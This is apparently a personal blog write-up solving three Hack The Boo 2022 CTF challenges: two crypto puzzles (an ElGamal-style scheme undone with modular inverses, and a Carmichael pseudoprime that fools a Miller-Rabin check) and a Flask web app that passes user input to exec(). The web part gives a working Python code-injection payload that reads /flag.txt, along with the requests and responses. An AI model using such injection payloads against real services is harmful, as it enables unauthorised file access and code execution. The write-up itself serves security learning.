HTB Hack The Boo 2022 Writeups

Reading time ~9 minutes

Another great CTF from HTB, this time it started at midnight for me with fresh new challenges each midnight for 5 nights. All the challenges seemed to be of quite high quality and had me thinking hard about the solutions.

This is my solution to the first two crypto challenges and the first web challenge.

Gonna-Lift-Em-All - Crypto - 275 points

This challenge reads:

Quick, there's a new custom Pokemon in the bush called "The Custom Pokemon". Can
you find out what its weakness is and capture it?

The challenge comes with one data.txt file and one python script file called chall.py which contains the code as follows:

from Crypto.Util.number import bytes_to_long, getPrime
import random

FLAG = b'HTB{??????????????????????????????????????????????????????????????????????}'

def gen_params():
  p = getPrime(1024)
  g = random.randint(2, p-2)
  x = random.randint(2, p-2)
  h = pow(g, x, p)
  return (p, g, h), x

def encrypt(pubkey):
  p, g, h = pubkey
  m = bytes_to_long(FLAG)
  y = random.randint(2, p-2)
  s = pow(h, y, p)
  return (g * y % p, m * s % p)

def main():
  pubkey, privkey = gen_params()
  c1, c2 = encrypt(pubkey)

  with open('data.txt', 'w') as f:
    f.write(f'p = {pubkey[0]}\ng = {pubkey[1]}\nh = {pubkey[2]}\n(c1, c2) = ({c1}, {c2})\n')


if __name__ == "__main__":
  main()

In the data.txt file we have the pubkey parameters p, g, h, and the ciphertext c1, c2

p = 163096280281091423983210248406915712517889481034858950909290409636473708049935881617682030048346215988640991054059665720267702269812372029514413149200077540372286640767440712609200928109053348791072129620291461211782445376287196340880230151621619967077864403170491990385250500736122995129377670743204192511487
g = 90013867415033815546788865683138787340981114779795027049849106735163065530238112558925433950669257882773719245540328122774485318132233380232659378189294454934415433502907419484904868579770055146403383222584313613545633012035801235443658074554570316320175379613006002500159040573384221472749392328180810282909
h = 36126929766421201592898598390796462047092189488294899467611358820068759559145016809953567417997852926385712060056759236355651329519671229503584054092862591820977252929713375230785797177168714290835111838057125364932429350418633983021165325131930984126892231131770259051468531005183584452954169653119524751729
(c1, c2) = (159888401067473505158228981260048538206997685715926404215585294103028971525122709370069002987651820789915955483297339998284909198539884370216675928669717336010990834572641551913464452325312178797916891874885912285079465823124506696494765212303264868663818171793272450116611177713890102083844049242593904824396, 119922107693874734193003422004373653093552019951764644568950336416836757753914623024010126542723403161511430245803749782677240741425557896253881748212849840746908130439957915793292025688133503007044034712413879714604088691748282035315237472061427142978538459398404960344186573668737856258157623070654311038584)

So overall it seems like our encryption algorithm here takes some public key values, creates two ciphertext components which use modular arithmetic to “disguise” the private key components and plaintext. They do this using multiplication though so that is where I think we can attack this.

First I write down what we need to solve for and what we know:

Solve these
  • c1 = g * y % p
  • c2 = m * s % p
We know these already
  • c1
  • c2
  • g
  • p
We need to find
  • y
  • s
  • m

Linear Congruences

The first thing to know here is that the c1 and c2 equations described above are what are known as linear congruences and are what you might see in math textbooks like this:

17x ≅ 3 (mod 29)

If we rewrite our equations like this it makes it easier to digest perhaps:

gy ≅ c1 (mod p)

Tip: I used this youtube video to clarify how to solve this challenge as it was really clear, so thanks to Jay from Maths with Jay :)

Part 1: Recover y

In order to find this y we can start by using the extended Euclidean algorithm to find the multiplicative inverse modulus of g mod p, that is, some number vwhere:

gv ≅ 1 (mod p)

In python this is straightforward and we cans skip a few steps:

>>> from Crypto.Util.number import inverse
>>> v = inverse(g, p)
>>> v
120027004247158358184703385511138910446176598283657810928960020555251889532032199706156913358525135228299658796007082082987316875751452608872617761586138905964991747541264336966530405406630206297358091931611374901221899003603216345652222991753618659380928999922962044386202238694636990131574221328099007640482

Now we know this number v we can calculate y as it should be:

y ≅ c1v (mod p)

>>> y = c1 * v % p
>>> y
151545036818752418931716093171030939827729309717327611184964755063685533596024474465903219353892430936128129116061427826165388249908655823309049171719865481058072839169911183783187254412879190149192386989186799988830028288993778261809217410313001568877314905167838867719115514855795015291428405597461040625720

We can double check that we got the right answer here by checking that we get c1 when we plug our y back into the original equation c1 = g * y % p.

>>> check = g * y % p
>>> check == c1
True

Yep this checked out, nice!

Part 2: Recover S

Now we know y we can recover s as the algorithm is in the chall.py file:

>>> s = pow(h,y,p)
>>> s
97462626764574972789405707853736776801131892662685049788888445937335307309802916804770978800211152464507610133907443690200443337122554845143013035673411159832257337734583042568923321169807909583339712803034130755892624097871888129173372595909172265258031320357247928751965375753164262717332601963215413213638

Part 3: Recover m

This part is very much a repeat of Part 1 since we recovered y in order to recover s in parts 1 and 2. We have pretty much the same equation: c2 = m * s % p

To make this simpler to visualize, it helps to flip m and s around: c2 = s * m % p which, written differently, you see is the same thing as part 1:

sm ≅ c2 (mod p)

So, as we did in part 1, we find some number v where:

sv ≅ 1 (mod p)

In python this is straightforward and we cans skip a few steps:

>>> from Crypto.Util.number import inverse
>>> v = inverse(s, p)
>>> v
31346328967915532437069190021834034870416234511102747411963727347528808773951209443402276830477716072945708394322703296371784510296678805269713052825970582951827590069078060945380207673640183443015571912058129616320846896831349884362934154099966370303518207509550815372317213136611174672595234824291719313740

Now we know this number v we can calculate m as it should be:

m ≅ c2v (mod p)

>>> m = c2 * v % p
>>> m
1172386289712688621866206342757024282557431573799768202628558217825308016488998421960879829861191968014842977524818155697111668467803322833848788605649390583219898324267188549415037

Which is the flag:

>>> from Crypto.Util.number import long_to_bytes
>>> long_to_bytes(m)
b'HTB{b3_c4r3ful_wh3n_1mpl3m3n71n6_cryp705y573m5_1n_7h3_mul71pl1c471v3_6r0up}'

Fast Carmichael - Crypto - 200 points

For this, the second crypto challenge we received a server.py script which was running on the CTF infrastructure. The script looks like this:

from secret import FLAG
from Crypto.Util.number import isPrime
import socketserver
import signal


class Handler(socketserver.BaseRequestHandler):

    def handle(self):
        signal.alarm(0)
        main(self.request)


class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass


def sendMessage(s, msg):
    s.send(msg.encode())


def receiveMessage(s, msg):
    sendMessage(s, msg)
    return s.recv(4096).decode().strip()


def generate_basis(n):
    basis = [True] * n

    for i in range(3, int(n**0.5) + 1, 2):
        if basis[i]:
            basis[i * i::2 * i] = [False] * ((n - i * i - 1) // (2 * i) + 1)

    return [2] + [i for i in range(3, n, 2) if basis[i]]


def millerRabin(n, b):
    basis = generate_basis(300)
    if n == 2 or n == 3:
        return True

    if n % 2 == 0:
        return False

    r, s = 0, n - 1
    while s % 2 == 0:
        r += 1
        s //= 2
    for b in basis:
        x = pow(b, s, n)
        if x == 1 or x == n - 1:
            continue
        for _ in range(r - 1):
            x = pow(x, 2, n)
            if x == n - 1:
                break
        else:
            return False
    return True


def _isPrime(p):
    if p < 1:
        return False
    if (p.bit_length() <= 600) and (p.bit_length() > 1500):
        return False
    if not millerRabin(p, 300):
        return False

    return True


def main(s):
    p = receiveMessage(s, "Give p: ")

    try:
        p = int(p)
    except:
        sendMessage(s, "Error!")

    if _isPrime(p) and not isPrime(p):
        sendMessage(s, FLAG)
    else:
        sendMessage(s, "Conditions not satisfied!")


if __name__ == '__main__':
    socketserver.TCPServer.allow_reuse_address = True
    server = ReusableTCPServer(("0.0.0.0", 1337), Handler)
    server.serve_forever()

So to summarise what I see here is, for each incoming connection we ask the user to send us a prime number. We then check if the number passes a Miller Rabin primality test but fails the Python PyCryptodome primality test.

So a number that is prime, but also not prime? Where do we find those? As it turns out the Miller Rabin primality test is a probabilistic test. That is, it can mistakenly conclude a number is prime under certain conditions. The PyCryptodome test includes the same test but also uses other tests before concluding if a number is prime.

Before researching too far I quickly found a Github repo containing code very similar to the server.py above. In fact it’s a direct duplicate of the code but for a bases value of just 64. It leads me to an interesting paper called Prime and Prejudice: Primality Testing Under Adversarial Conditions. After reading this paper I’m a little closer to figuring this out.

The first thing I tried is the code from the aformentioned repo but with bases set to 300 it never starts computing. I guess it probably would given enough time but I am way too impatient.

I go back to Googling and come across this blog article. It mentions another paper in passing like this:

Though the second number N is very striking, the author of [3] has an even 
larger example in [2], a 397-digit Carmichael number that is a strong 
pseudoprime to all the 62 prime bases under 300! 

Wow that sounds perfect for us, the paper referenced is “Constructing Carmichael numbers which are strong pseudoprimes to several bases” and in the paper it has the following passage:

4.4 LARGE EXAMPLE

The same method has been used with a large set of bases in order to construct the 397-digit 
Carmichael number:

n = p1 (313(p1 - 1) + 1)(353(p1 - 1) + 1)

where

p1 = 29674495668685510550154174642905332730771991799853043350995075531276838753171770199594238596428121188033664754218345562493168782883

which is a strong pseudoprime to all prime bases up to 300.

Translating that paper into some quick Python we get our number, and flag:

$ cat > win.py 
p = 29674495668685510550154174642905332730771991799853043350995075531276838753171770199594238596428121188033664754218345562493168782883
n = p *(313*(p - 1) + 1)*(353 * (p - 1) + 1)
print(n)
^D

$ python ./win.py
2887148238050771212671429597130393991977609459279722700926516024197432303799152733116328983144639225941977803110929349655578418949441740933805615113979999421542416933972905423711002751042080134966731755152859226962916775325475044445856101949404200039904432116776619949629539250452698719329070373564032273701278453899126120309244841494728976885406024976768122077071687938121709811322297802059565867

$ nc 134.122.106.203 32579
Give p: 2887148238050771212671429597130393991977609459279722700926516024197432303799152733116328983144639225941977803110929349655578418949441740933805615113979999421542416933972905423711002751042080134966731755152859226962916775325475044445856101949404200039904432116776619949629539250452698719329070373564032273701278453899126120309244841494728976885406024976768122077071687938121709811322297802059565867
HTB{c42m1ch431_num8325_423_fun_p53ud0p21m35}

Interesting challenge!

Evaluation Deck - Web - 200 points

This challenge reads:

A powerful demon has sent one of his ghost generals into our world to ruin 
the fun of Halloween. The ghost can only be defeated by luck. Are you lucky 
enough to draw the right cards to defeat him and save this Halloween?

The challenge comes with all of the web application files and a Dockerfile so you can launch the environment locally and test out ideas. Its a Flask application with a few Python source files.

It took me a bit to find the vulnerability but when I did it didn’t prove too difficult to exploit. Here’s the code containing main issue which is in the routes.py:

from flask import Blueprint, render_template, request
from application.util import response

web = Blueprint('web', __name__)
api = Blueprint('api', __name__)

@web.route('/')
def index():
    return render_template('index.html')

@api.route('/get_health', methods=['POST'])
def count():
    if not request.is_json:
        return response('Invalid JSON!'), 400

    data = request.get_json()

    current_health = data.get('current_health')
    attack_power = data.get('attack_power')
    operator = data.get('operator')
    
    if not current_health or not attack_power or not operator:
        return response('All fields are required!'), 400

    result = {}
    try:
        code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec') 
        exec(code, result)
        return response(result.get('result'))
    except:
        return response('Something Went Wrong!'), 500

Specifically this code section:

result = {}
    try:
        code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec') 
        exec(code, result)
        return response(result.get('result'))
    except:
        return response('Something Went Wrong!'), 500

What this is doing, is taking three values from a JSON POST request supplied by the user and building a string, which it then compile()s into a Python object which it then executes.

If we look at the user API requests while using the web app, the user provides this request:

POST /api/get_health HTTP/1.1
Host: 157.245.42.104:31408
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://157.245.42.104:31408/
Content-Type: application/json
Origin: http://157.245.42.104:31408
Content-Length: 59
Connection: close

{"current_health":"100","attack_power":"22","operator":"+"}

And receives this response:

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.8.15
Date: Sat, 22 Oct 2022 13:35:44 GMT
Content-Type: application/json
Content-Length: 16
Connection: close

{"message":122}

Clearly we see that the web app took our current_health, attack_power and operator and returned that as an integer result. i.e. 100 + 22 returned 122.

Exploitation

Referring back to the specific line that’s vulnerable, its clear we want to inject some python code. Second we know we must target the operator field since the other two fields are cast with int().

Finally we also know that we only receive an integer response so whatever solution needs to leak the flag as an integer. So here’s the idea I came up with:

  1. Open /flag.txt, read it as bytes.
  2. Use the built in Python3 int.from_bytes() method to return the big endian integer version of the string.
  3. Set “current_health” to 0
  4. Convert the received “message” integer back to a string for the flag.
JSON Payload

Here’s what I sent as the request, being careful to put a semicolon after our operator payload to prevent syntax error from the attack_power which the server will append to our operation:

{
 "current_health":"0",
 "attack_power":"43",
 "operator":"+int.from_bytes(open('/flag.txt','rb').read(),'big');"
}
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.8.15
Date: Sun, 23 Oct 2022 06:34:31 GMT
Content-Type: application/json
Content-Length: 90
Connection: close

{"message":32715399093214716429448760121842372818350028882199757926917881424671737454973}

And in Python, we can convert this back to a string

>>> from Crypto.Util.number import long_to_bytes
>>> long_to_bytes(32715399093214716429448760121842372818350028882199757926917881424671737454973)
b'HTB{c0d3_1nj3ct10ns_4r3_Gr3at!!}'

Nice!

Interviewing in Tech: Security Engineer & Security Analyst

Landing a job as a security engineer or analyst at a tech company is a significant feat. It requires not only technical acumen but also s...… Continue reading

BSides Sydney 2023 Writeups

Published on November 24, 2023

DUCTF 2023 Writeups

Published on August 31, 2023